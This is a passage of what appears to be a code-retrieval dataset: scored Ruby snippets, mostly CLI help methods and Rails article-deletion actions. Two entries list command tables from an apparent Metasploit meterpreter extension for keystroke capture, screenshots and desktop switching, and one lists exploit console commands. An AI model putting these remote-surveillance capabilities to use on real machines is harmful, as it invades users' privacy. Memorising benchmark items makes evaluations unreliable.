klass.alternate_commands.join(', ')\n space[:alias] = ' ' * (max_alias_length - (klass.alternate_commands||[]).join(', ').length)\n help = klass.help\n messages << \"#{command}#{space[:command]} - #{aliases}#{space[:alias]} - #{help}\"\n end\n end\n messages << nil unless (index + 1) == ConsoleProgram.scopes.active.length\n end\n messages << nil\n end", "title": "" }, { "docid": "840a958ed53f196f957cdf73b1f91409", "score": "0.547927", "text": "def help(command = nil)\n request :help, *command\n end", "title": "" }, { "docid": "9d338f6b59190452042405d613eeaf0e", "score": "0.5477112", "text": "def help\n\tcommands = [\"I accept the following commands:\", \"- help : displays this help message\", \"- list : displays a list of songs you can play\", \"- play : lets you choose a song to play\", \"- exit : exits this program\"]\n\tcommands.each {|command| puts command}\nend", "title": "" }, { "docid": "7c49d8fed218c9ef62cc5613260e208c", "score": "0.5468566", "text": "def help\n [['some command', 'description of some command'],\n ['some other command', 'description of some other command']]\n end", "title": "" }, { "docid": "86fdb5925a2da56b46192bd59cf42d2d", "score": "0.546372", "text": "def help\n end", "title": "" }, { "docid": "564555ddbdd0ca9fe5064ff9a9dcd9bb", "score": "0.546345", "text": "def help\n send_command \"--help\"\n end", "title": "" }, { "docid": "e39dc98b634bef6d77cd30dd9f62fdb0", "score": "0.5430104", "text": "def search_command_help\n puts \"The Ruby Farm - a simple command line animals app\"\n puts\n puts \"Command Usage:\"\n puts \" [search | s] <name=> searchs a animal by name\"\n puts \"\"\n puts \"Examples:\"\n puts \" bin/run [search | s] name=my_animal_name\"\n end", "title": "" }, { "docid": "777e3be565c7c3171eca59e95fd28f4b", "score": "0.54209244", "text": "def help; end", "title": "" }, { "docid": "777e3be565c7c3171eca59e95fd28f4b", "score": "0.54209244", "text": "def help; end", "title": "" }, { "docid": "777e3be565c7c3171eca59e95fd28f4b", "score": "0.54209244", "text": "def help; end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "cbe67ecae971962dc40070b9119f6ae6", "score": "0.5420104", "text": "def help\n end", "title": "" }, { "docid": "3993a0030076cf6221e22f87e3614622", "score": "0.541144", "text": "def action\n puts \"\\nHelp menu\"\n puts '=' * 'Help menu'.length + \"\\n\\n\"\n puts \" Command \\t Description\"\n puts \" \" + '-' * 'Command'.length + \" \\t \" + '-' * 'Description'.length\n commands.map {|cmd , desc| puts \" #{cmd} \\t #{desc}\"}\n puts \"\\n\\n\"\n end", "title": "" }, { "docid": "954df5b791bcfb69fb1b9a6e6271fb55", "score": "0.5405083", "text": "def help args\n if @actions.nil? \n if defined? @commands\n unless @commands.empty?\n @actions = @commands\n end\n end\n end\n if @actions\n puts \"Actions are \"\n @actions.each_pair { |name, val| puts \"#{name}\\t#{val}\" }\n end\n puts \" \"\n if @aliases\n puts \"Aliases are \"\n @aliases.each_pair { |name, val| puts \"#{name}:\\t#{val.join(' ')}\" }\n end\n 0\n end", "title": "" }, { "docid": "954df5b791bcfb69fb1b9a6e6271fb55", "score": "0.5405083", "text": "def help args\n if @actions.nil? \n if defined? @commands\n unless @commands.empty?\n @actions = @commands\n end\n end\n end\n if @actions\n puts \"Actions are \"\n @actions.each_pair { |name, val| puts \"#{name}\\t#{val}\" }\n end\n puts \" \"\n if @aliases\n puts \"Aliases are \"\n @aliases.each_pair { |name, val| puts \"#{name}:\\t#{val.join(' ')}\" }\n end\n 0\n end", "title": "" }, { "docid": "829cbbab6fe2916358efc1bd4280b89a", "score": "0.5397296", "text": "def commandalias(command, a)\r\n\t\t\t@commands[a] = @commands[command]\r\n\t\tend", "title": "" }, { "docid": "5fc4688124f1f23f3c550b4b4d544bf3", "score": "0.53874743", "text": "def add_commands\n end", "title": "" }, { "docid": "338d4003b9c2e27b1596fb3ba9b973d9", "score": "0.53872454", "text": "def command_help(m)\n m.user.send [\n \"!next - When's the next live show?\",\n \"!schedule - What shows are being recorded live in the next seven days?\",\n \"!suggest - Be heard. Suggest a title for the live show.\",\n \"!link - Know the link for that? Suggest it and make the show better.\",\n \"!current - What's playing on #{shared[:Live_Url]}? I've got you covered.\",\n \"!last_status - The last tweet by @#{shared[:Twitter_User].join(\", @\")} delievered to you in IRC. Sweet.\",\n \"!about - Was #{shared[:Bot_Nick]} coded or did it spontaniously come into existence?\",\n \"!help - Uh, this.\",\n ].join(\"\\n\")\n end", "title": "" }, { "docid": "0478aa4402a53e4410815dbd27827ea6", "score": "0.5387095", "text": "def wash_command_help\n puts \"The Ruby Farm - a simple command line animals app\"\n puts\n puts \"Command Usage:\"\n puts \" [wash | w] <name=> gives a shower to a animal by name\"\n puts \"\"\n puts \"Examples:\"\n puts \" bin/run [wash | w] name=my_animal_name\"\n end", "title": "" }, { "docid": "388d09203ca83333808b2c82cfaef3ca", "score": "0.53863394", "text": "def help(shell, subcommand = false)\n list = printable_commands(true, subcommand)\n Foreman::Thor::Util.thor_classes_in(self).each do |klass|\n list += klass.printable_commands(false)\n end\n list.sort! { |a, b| a[0] <=> b[0] }\n\n if defined?(@package_name) && @package_name\n shell.say \"#{@package_name} commands:\"\n else\n shell.say \"Commands:\"\n end\n\n shell.print_table(list, :indent => 2, :truncate => true)\n shell.say\n class_options_help(shell)\n end", "title": "" }, { "docid": "dad3257a330df640d497a39fe5ddaad6", "score": "0.53838366", "text": "def commands\n\t\t{\n\t\t\t\"idletime\" => \"Returns the number of seconds the remote user has been idle\",\n\t\t\t\"uictl\" => \"Control some of the user interface components\",\n\t\t\t\"enumdesktops\" => \"List all accessible desktops and window stations\",\n\t\t\t\"setdesktop\" => \"Move to a different workstation and desktop\",\n\t\t\t\"keyscan_start\" => \"Start capturing keystrokes\",\n\t\t\t\"keyscan_stop\" => \"Stop capturing keystrokes\",\n\t\t\t\"keyscan_dump\" => \"Dump they keystroke buffer\",\n\t\t\t\n\t\t\t# no longer needed with setdesktop\n\t\t\t# \"grabinputdesktop\" => \"Take over the active input desktop\",\n\t\t\t\n\t\t\t# not working yet\n\t\t\t# \"unlockdesktop\" => \"Unlock or lock the workstation (must be inside winlogon.exe)\",\n\t\t}\n\tend", "title": "" }, { "docid": "a81f9a0d4a00ff5e5e4d520ca1b1aab1", "score": "0.5382628", "text": "def set_shortcut_text\n @shortcut_text = ShortcutText.find(params[:id])\n end", "title": "" }, { "docid": "5d4b42af761c156f0287d5ec7ed10287", "score": "0.53785884", "text": "def hotkey=(key)\n @link.HotKey = key\n end", "title": "" }, { "docid": "4938d68f42645aeb0fdb849461a5e276", "score": "0.5377861", "text": "def docopt_commands(width)\n doc = []\n caption_printed = false\n @actions.each do |_name, action|\n action.help or next\n doc << \"Commands:\" unless caption_printed\n caption_printed = true\n helpline = \" #{action.help}\"\n wrapped = word_wrap helpline, width\n doc << \" #{action.usage}\\n#{wrapped}\\n\" unless action.usage == false\n end\n doc\n end", "title": "" }, { "docid": "c7e53adde6b83e512a7cd77b042a0bae", "score": "0.53769654", "text": "def commands\n\t\t\t{\n\t\t\t\t\"edit\" => \"A handy editor commmand\"\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "5095d447bf914492461cb642896b9a23", "score": "0.53730905", "text": "def _commands_usage(prefix = '')\n @commands.each do |command|\n # print the usage message of a subapp with a prefix from the current command\n if command.action.instance_of?(Consoler::Application)\n command.action._commands_usage \"#{prefix} #{command.command}\"\n else\n print \" #{prefix} #{command.command}\"\n\n if command.options.size\n print \" #{command.options.to_definition}\"\n end\n\n unless command.options.description.nil?\n print \" -- #{command.options.description}\"\n end\n\n print \"\\n\"\n end\n end\n\n self\n end", "title": "" }, { "docid": "d3c4cdee0b2e8bc23c8a8f772700176a", "score": "0.53720945", "text": "def help\r\n end", "title": "" }, { "docid": "d3c4cdee0b2e8bc23c8a8f772700176a", "score": "0.53720945", "text": "def help\r\n end", "title": "" }, { "docid": "20dbeeeaa214a2cb70a026925fede3eb", "score": "0.536717", "text": "def help(*args)\n help_on = args.first || :help\n print send(\"#{help_on}_options\")\n end", "title": "" }, { "docid": "3c04f3b50292166222b3c7020211979f", "score": "0.53545517", "text": "def setupAutocomplete(commands)\n cmdAuto = proc { |s| commands.map{|cmd, _desc| cmd}.flatten.grep(/^#{Regexp.escape(s)}/) }\n Readline::completion_append_character = \" \"\n Readline::completion_proc = cmdAuto\nend", "title": "" }, { "docid": "1470ce29688bc4a8e170eafd6bb3b6d8", "score": "0.53453517", "text": "def helpCommand \n @SocketHandle.puts \"Commands are:\"\n @SocketHandle.puts \" viewall\"\n @SocketHandle.puts \" bookevent\"\n end", "title": "" }, { "docid": "772def9cdca9367a45ae538bfbc46d56", "score": "0.53442985", "text": "def help()\n\tputs \"Hier is een lijst handige commando's die je gaan helpen met je quest:\"\n\tputs \"ga (richting): Ga in de gespecificeerde richting\"\n\tputs \"open: open deuren, kisten, je hart, etc\"\n\tputs \"kijk: Krijg een beschrijving van de kamer waar je nu bent\"\n\tputs \"neem: Neem een item en stop het in je inventory\"\n\tputs \"gebruik X op X: Gebruik een item uit je inventory op een object\"\n\tputs \"inventory: Bekijk je inventory\"\n\tputs \"stop: Stop de game\"\nend", "title": "" }, { "docid": "1d89ef42492b789432a72cc6d1125a30", "score": "0.5337925", "text": "def help\n puts \"To add a task, type 'add task'.\"\n puts \"To update a task, type 'update'.\"\n puts \"To delete a task, type 'complete'.\"\n puts \"To view the To Do List, type 'view'.\"\n puts \"To quit, type 'done'.\"\nend", "title": "" }, { "docid": "cfb5ef4adb768f998f9d24f4c593c128", "score": "0.533532", "text": "def help\n\t\tputs \"Commands: pick up (weapons/items) , move to, drop, examine myself, describe me, look at me, inventory, look\"\n\t\tputs \"Commands: grab (food items), examine food (details about your food), eat (food), drink (beverages)\" \n\tend", "title": "" }, { "docid": "b526ba60541d21c0a881c42506b2d903", "score": "0.53340226", "text": "def command_help(shell, command_name)\n meth = normalize_command_name(command_name)\n command = all_commands[meth]\n handle_no_command_error(meth) unless command\n\n shell.say \"Usage:\"\n shell.say \" #{banner(command)}\"\n shell.say\n class_options_help(shell, nil => command.options.values)\n if command.long_description\n shell.say \"Description:\"\n shell.print_wrapped(command.long_description, :indent => 2)\n else\n shell.say command.description\n end\n end", "title": "" }, { "docid": "5ec7e42fbc76891a68a5b81af05c864f", "score": "0.53333586", "text": "def get_help\n [self.class::DESCRIPTION, self.class::USAGE]\n end", "title": "" }, { "docid": "c593eeac6bca3ec9e001a5ca9ebf79a3", "score": "0.5332303", "text": "def help\n puts 'add help'\n end", "title": "" }, { "docid": "7848fc7b583c39402bf783ed0f72bcb9", "score": "0.5324247", "text": "def aliases(s)\n command.aliases(s)\n end", "title": "" }, { "docid": "6e91b49ef9cecbcc042b1fe295e8cdd8", "score": "0.53188306", "text": "def commands\n\t\t{\n\t\t\t\"check\" => \"Check to see if a target is vulnerable\",\n\t\t\t\"exploit\" => \"Launch an exploit attempt\",\n\t\t\t\"rcheck\" => \"Reloads the module and checks if the target is vulnerable\",\n\t\t\t\"rexploit\" => \"Reloads the module and launches an exploit attempt\",\n\t\t}\n\tend", "title": "" }, { "docid": "8b0fee8f64b4bf6863babd2aeead8ec5", "score": "0.5315571", "text": "def help\n self.helplink.click\n end", "title": "" }, { "docid": "90f9d79eb1376ad81e0c2a9d3fd08ca2", "score": "0.53088635", "text": "def commands\n\t\t{\n\t\t\t\"idletime\" => \"Returns the number of seconds the remote user has been idle\",\n\t\t\t\"uictl\" => \"Control some of the user interface components\",\n\t\t\t\"enumdesktops\" => \"List all accessible desktops and window stations\",\n\t\t\t\"getdesktop\" => \"Get the current meterpreter desktop\",\n\t\t\t\"setdesktop\" => \"Change the meterpreters current desktop\",\n\t\t\t\"keyscan_start\" => \"Start capturing keystrokes\",\n\t\t\t\"keyscan_stop\" => \"Stop capturing keystrokes\",\n\t\t\t\"keyscan_dump\" => \"Dump the keystroke buffer\",\n\t\t\t\"screenshot\" => \"Grab a screenshot of the interactive desktop\",\n\n\t\t\t# not working yet\n\t\t\t# \"unlockdesktop\" => \"Unlock or lock the workstation (must be inside winlogon.exe)\",\n\t\t}\n\tend", "title": "" }, { "docid": "7886924f797d7a75116e1b3ce081195a", "score": "0.53070414", "text": "def test_illegal_shortcuts\n N::URI.shortcut(:illegal_short, \"http://illegal.shortcut.com/\")\n assert_raises(NameError) { N::URI.shortcut(:illegal_short, \"xxx\") }\n assert_raises(NameError) { N::URI.shortcut(:legal_short, \"http://illegal.shortcut.com/\")}\n end", "title": "" }, { "docid": "95665fe1137d70e150d5b1598d0ba23d", "score": "0.53060293", "text": "def commands\n help_list = {}\n @commands.map do |cmd|\n info = Commands.const_get(\"#{cmd}\".capitalize!).info #=> {cmd => \"Description\"}\n help_list[info.keys.first] = info.values.first\n end\n\n return help_list\n end", "title": "" }, { "docid": "29d97228c687737d4a6d32032e916b5c", "score": "0.53032076", "text": "def method_missing(symbol, *args)\n #$stdout.puts(\"method_missing: #{symbol}\")\n self.ext_aliases.aliases[symbol.to_s]\n end", "title": "" }, { "docid": "7c617a79c234ec2e36ae19920ff78ad0", "score": "0.5295994", "text": "def set_symlinks_for_jruby_commands\n %w(ruby irb).each do |item|\n FileUtils.ln_s(bin_path(\"j#{item}\"), bin_path(item))\n end\n end", "title": "" }, { "docid": "123d433d66e401295bd73abefe533d37", "score": "0.5292712", "text": "def command\n case first\n when '\\?' then Command::HelpCommand\n when '\\config' then Command::PrintConfigCommand\n else\n puts \"Unknown command: #{buffer}\"\n end\n end", "title": "" }, { "docid": "748732f194aa844cd8317569ca126f31", "score": "0.5288311", "text": "def method_missing(sym, *args, &block)\n super if !args.empty? or block\n cmds = sym.to_s.split(\"_\")\n callsequence = \"\"\n cmds.each do |cmd|\n callsequence << case cmd.downcase\n when \"ctrl\" then \"^\"\n when \"shift\" then \"+\"\n when \"alt\" then \"!\"\n when \"win\" then \"#\"\n when \"enter\" then \"{ENTER}\"\n when \"return\" then \"{ENTER}\"\n when \"del\" then \"{DEL}\"\n else\n cmd\n end\n end\n send_keys(callsequence)\n end", "title": "" }, { "docid": "b042562691a1cb4751e3c5beb7a103e5", "score": "0.52864397", "text": "def map_keys\n return if @keys_mapped\n bind_key(KEY_F1, 'help') { hm = help_manager(); hm.display_help }\n bind_keys([?\\M-?,?\\?], 'show field help') { \n #if get_current_field.help_text \n #textdialog(get_current_field.help_text, 'title' => 'Help Text', :bgcolor => 'green', :color => :white) \n #else\n print_key_bindings\n #end\n }\n bind_key(FFI::NCurses::KEY_F9, \"Print keys\", :print_key_bindings) # show bindings, tentative on F9\n bind_key(?\\M-:, 'show menu') {\n fld = get_current_field\n am = fld.action_manager()\n #fld.init_menu\n am.show_actions\n }\n @keys_mapped = true\n end", "title": "" }, { "docid": "4e82757ffd60d4180ee3efb375f4d893", "score": "0.52738684", "text": "def print_help\n puts 'Here is a list of available commands:'\n puts '- new - Create a new contact'\n puts '- list - List all contacts'\n puts '- show - Show a contact'\n puts '- find - Find a contact'\n end", "title": "" }, { "docid": "8404962ab72f17e624aa2a43ab46240e", "score": "0.5271141", "text": "def help\n base = [\"Usage: houst [action] [optional parameter]\"]\n\n @commands.each do |command|\n base << \"\\t#{command[:name]}: \\t#{command[:description]}\"\n end\n\n base << \"\\nAdditional help can be obtained by using\\n\\thoust help [command]\\n\"\n\n base.join \"\\n\"\n end", "title": "" }, { "docid": "ee92e1dd71075151a1ca88e441c452f8", "score": "0.5269584", "text": "def home_shortcut\n (config_params||DEFAULT_CONFIG_PARAMS)[\"Home Shortcut\"]\n end", "title": "" } ]
6db7035453b6faf120c7c0af69aa5ba2
Allows admin to delete an article from the database
[ { "docid": "6a036e824e463170d7de645eedd0eb94", "score": "0.7558197", "text": "def destroy\n\t\t@article = Article.find(params[:id])\n \t@article.destroy\n flash[:danger] = \"Article has been deleted!\"\n \tredirect_to articles_path\n\tend", "title": "" } ]
[ { "docid": "afecf35bed9135a7cfeb75a3e25045a9", "score": "0.7802789", "text": "def delete_article(article_id)\n return get_db().execute(\"DELETE FROM article WHERE article_id = ?\", article_id) \n end", "title": "" }, { "docid": "57c13b26a14c847534e4a18d69b347be", "score": "0.7689724", "text": "def destroy\n set_article\n @article.destroy\n flash[:notice] = \"Article successfully deleted\"\n redirect_to articles_path\n end", "title": "" }, { "docid": "afb5ee837430562e41f94614a11cdb80", "score": "0.76350665", "text": "def destroy\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "867723d1c9d2ce12bbbf30ca840b2f63", "score": "0.7627007", "text": "def destroy\n @article.destroy\n redirect_to root_path\n end", "title": "" }, { "docid": "6412985f656ce2b8dff3538785f5dbe7", "score": "0.76235473", "text": "def destroy\n #@article = Article.find(params[:id])\n #se sutituira por el uso de methodo set_article\n @article.destroy\n flash[:notice] = \"Article was successfully deleted\"\n redirect_to articles_path\n end", "title": "" }, { "docid": "dc54254fbbadaf60e3ca2c8982d17b6e", "score": "0.7613985", "text": "def destroy\n \n @article.destroy\n flash[:danger] = 'Article successfully deleted'\n redirect_to articles_path\n end", "title": "" }, { "docid": "a229bb4c3b4f5e1dfbe2f1a639096b7a", "score": "0.7595471", "text": "def destroy\t\t\t\t\n\t\t@article.destroy\n\t\tflash[:danger] = \"Article succefully deleted\"\n\t\tredirect_to articles_path\n\tend", "title": "" }, { "docid": "831e3e7a38bada38d5a9348fa7bf8944", "score": "0.7580206", "text": "def destroy\n\n @article.destroy # Remove the article from the database\n\n flash[:notice] = 'Article successfully deleted'\n\n redirect_to articles_path # Return to the listing of all Articles\n\n end", "title": "" }, { "docid": "f625fe28c57cdf7a652804e307929651", "score": "0.75753343", "text": "def destroy\n @article.destroy\n redirect_to articles_url, notice: \"Article was successfully deleted\"\n end", "title": "" }, { "docid": "1081d55ec2199095d356ab28df8f1ed6", "score": "0.7574749", "text": "def destroy\n Article.find(params[:id]).delete\n redirect_to articles_path, :notice => \"Your article has been deleted.\"\n end", "title": "" }, { "docid": "06781db9e1b28000cd7e6f6316fcbc6c", "score": "0.7565938", "text": "def destroy\n @article.destroy\n end", "title": "" }, { "docid": "5eafb18c15203ed6a533354ceee0d277", "score": "0.7548197", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n end", "title": "" }, { "docid": "83c441b5120b7220cc16c679bde11b76", "score": "0.7538845", "text": "def destroy\n authorize @article\n @article.destroy\n end", "title": "" }, { "docid": "18e606477331065564539edd02f426a0", "score": "0.753711", "text": "def destroy\n @article = Article.internal.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_deleted') }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d6034b0f51301ca20ba3c04135f675f5", "score": "0.7529152", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n redirect_to articles_path\n end", "title": "" }, { "docid": "4505efd7b2480e84f89dc20f496d15e4", "score": "0.7528092", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to root_path\n end", "title": "" }, { "docid": "78d2fb71ff2fd8cbfe414d9d728e41ec", "score": "0.75086707", "text": "def destroy\n @article.destroy\n redirect_to articles_url, notice: '記事が削除されました。' \n end", "title": "" }, { "docid": "619165c603f30fab1cc174bac1eac712", "score": "0.7508204", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "619165c603f30fab1cc174bac1eac712", "score": "0.7508204", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e433e7f957aa34e4731b46d70ee033af", "score": "0.74981225", "text": "def destroy\n\t\t\t@article= Article.find(params[:id])\n\t\t\t@article.destroy #Destroy elimina el objeto de la base de datos\n\t\t\tredirect_to articles_path\n\tend", "title": "" }, { "docid": "e0bb81bdc55cec0455dd0a54136ea556", "score": "0.74947536", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to(articles_url, :flash => {:success => \"Article was successfully deleted.\"})\n end", "title": "" }, { "docid": "91a0163412c0de49cf16065fa15fe5f1", "score": "0.7475712", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n redirect_to articles_list_path, :notice => 'A cikk sikeresen törölve lett!'\n end", "title": "" }, { "docid": "4af6477d25c73c9bfe8cea8a1663035c", "score": "0.74621004", "text": "def destroy\n @article.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "1fd2d90642ce4f047e899675cf43ef72", "score": "0.7449718", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "1fd2d90642ce4f047e899675cf43ef72", "score": "0.74493647", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "1fd2d90642ce4f047e899675cf43ef72", "score": "0.74493647", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "1fd2d90642ce4f047e899675cf43ef72", "score": "0.74493647", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "1fd2d90642ce4f047e899675cf43ef72", "score": "0.74493647", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "c997217abceb68124454865a9e3db620", "score": "0.74242634", "text": "def destroy\n\t\t@article = Article.find(params[:id])\n\t\t@article.destroy\n\t\t#Displays delete notice for each article\n\t\tflash.notice = \"Article '#{@article.title}' has been deleted!\"\n\n\t#note: don't go to article_path() since the article is already removed.\n\t#Don't add params of (index) or (@article) or there'll be added url code.\n\t\tredirect_to articles_path\n\tend", "title": "" }, { "docid": "4be18aa7b215677ff152ed6f24015e7b", "score": "0.741682", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n deny_access_unless(admin?)\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "3d53ed4988d88a000e20fff399dc4656", "score": "0.741517", "text": "def destroy\n #primero encontramos al articulo a eliminar\n @article = Article.find(params[:id])\n #ahora lo destruimos!!\n @article.destroy\n\n #una vez terminada esta accion, redirigimos a la pagina principal de articulos.\n redirect_to articles_path\n end", "title": "" }, { "docid": "baf132592b40a7fa0479c77e591aa015", "score": "0.7413257", "text": "def destroy\n @article.destroy\n redirect_to articles_path\n end", "title": "" }, { "docid": "99a5743b4f7d3c0ac8bf12e6f02df3fe", "score": "0.7405686", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n \n redirect_to articles_path\n @article.destroy\n \n end", "title": "" }, { "docid": "c51b78bbfb3ae694e5f7ec1f1841e369", "score": "0.7393583", "text": "def destroy\n @article = Article.where(id: params[:id]).last\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ded951f0137f0b2a1d649167054760e2", "score": "0.7387202", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n redirect_to \"/my_articles\"\n end", "title": "" }, { "docid": "fc3a55d5e05bb1d0a020a887c5821c92", "score": "0.73520607", "text": "def destroy\n auth_privilege\n\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8ff627c8db799f717b5b99a9454e084d", "score": "0.7351749", "text": "def destroy\n @article.destroy\n flash[:danger] = \"Article was successfully deleted!\"\n redirect_to articles_path\n end", "title": "" }, { "docid": "caee9ca165d1788e7f2cb3cb0390c6bf", "score": "0.7338498", "text": "def destroy\n @article=Article.find(params[:id])\n @article.destroy\n redirect_to articles_path\n end", "title": "" }, { "docid": "5daee1a55ad258e412dc82707b3e9521", "score": "0.7317383", "text": "def destroy\n @article.destroy\n \n respond_to do |format|\n format.html { \n flash[:notice] = \"#{@article.name} has been removed.\"\n redirect_to(admin_articles_url) \n }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c46f70f7aeb2182515d58eb55cc9e84c", "score": "0.7299858", "text": "def destroy\n @article = Article.find(params[:id])\n if @article.locked? && !admin_signed_in?\n flash[:notice] = \"Article is currently locked from editing.\"\n redirect_to articles_path\n else\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "1e4f5714e40768eb6a07fde23d8f1641", "score": "0.72840166", "text": "def destroy\n @article = Article.find(params[:id])\n authorize @article\n @article.destroy\n\n redirect_to articles_path\n end", "title": "" }, { "docid": "a8b398766482770bb274828bdef01bdb", "score": "0.72414875", "text": "def destroy\n authorize @news_article\n @news_article.destroy\n redirect_to news_articles_path, notice: 'The Article was removed.'\n end", "title": "" }, { "docid": "5f36d948224b7ebc9c59d6c2e2840ff4", "score": "0.7231698", "text": "def delete\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "43f155cfc322e6f9437b4adb380f0937", "score": "0.7196321", "text": "def destroy\n @article.destroy\n @user = current_user\n redirect_to @user, notice: 'Article was successfully destroyed.'\n end", "title": "" }, { "docid": "1a49a2eead6429e31a83cb27afdda652", "score": "0.7144375", "text": "def delete\n @admin = Admin.find(params[:id])\n end", "title": "" }, { "docid": "455c0bf6e18e405d85fc1948d1a72a20", "score": "0.7136849", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n check_admin_or_dziekan\n respond_to do |format|\n format.html { redirect_to articles_url }\n# format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d575c46516c591ed3693936ebbc37f54", "score": "0.71224445", "text": "def destroy\n Article.destroy(params[:id])\n render :inline => \"Статья удалена\"\n end", "title": "" }, { "docid": "a65f1cdc0904902785ef89a108da6bc2", "score": "0.70790464", "text": "def destroy\n authorize_action_for(@article)\n @article.destroy\n redirect_to session.delete(:return_to), notice: 'Article was successfully destroyed.'\n end", "title": "" }, { "docid": "068713ab51acdaac8d92b8173cf337e7", "score": "0.7070268", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n \n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b459ba508516365132d39fea42afdf5c", "score": "0.70620054", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n # articles_path retuns path '/articles'\n redirect_to articles_path\n end", "title": "" }, { "docid": "79f6c1dc625b7028742c1da69decc7cf", "score": "0.7054707", "text": "def delete\n \n end", "title": "" }, { "docid": "039a8c1fd873a2c0705fb7babbb73702", "score": "0.704743", "text": "def delete\n end", "title": "" }, { "docid": "c4fe916d299d8747c6405973b9ef81b7", "score": "0.7038657", "text": "def destroy\n @article = current_user.articles.find(params[:id])\n\n # only draft, submitted or rejected articles can be deleted by the user\n if @article.approved?\n flash[:error] = 'The article could not be deleted.'\n else\n @article.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "3914513407b86fb769232b6083086d5f", "score": "0.7028039", "text": "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n end\n end", "title": "" }, { "docid": "c29435a58b8c9d3101f5facd7528e1df", "score": "0.7021166", "text": "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article supprimé.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1a563be32da183b2315caff8a34e95d2", "score": "0.70133096", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, :notice => \"Successfully destroyed article. #{undo_link}\" }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4adb5f6407d4eee022a3473b26259fe3", "score": "0.7004906", "text": "def delete_article(id)\n response = delete(\"articles/#{id}\")\n response\n end", "title": "" }, { "docid": "687dde054e0d6db002f0c028991647bb", "score": "0.70021635", "text": "def destroy\n @article = current_user.articles.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "622d196fa4b1cd12a816ec57491d233a", "score": "0.700166", "text": "def DeleteArticle id\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'DELETE')\n \n end", "title": "" }, { "docid": "680f3cff9082dfd3f53a017f11748138", "score": "0.6996789", "text": "def destroy\n Article.find(params[:id]).destroy\n render 'index'\n end", "title": "" }, { "docid": "11aa5c5771ab76eff3c42c3d8a36643d", "score": "0.6991159", "text": "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_articles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "87b2238b8b633eea149aca12900f7383", "score": "0.6990353", "text": "def delete\n @entity = GetText::Db::Entity.find(params[:id])\n \n if @entity.update_attribute( :deleted, true )\n flash[:notice] = 'Entity has been 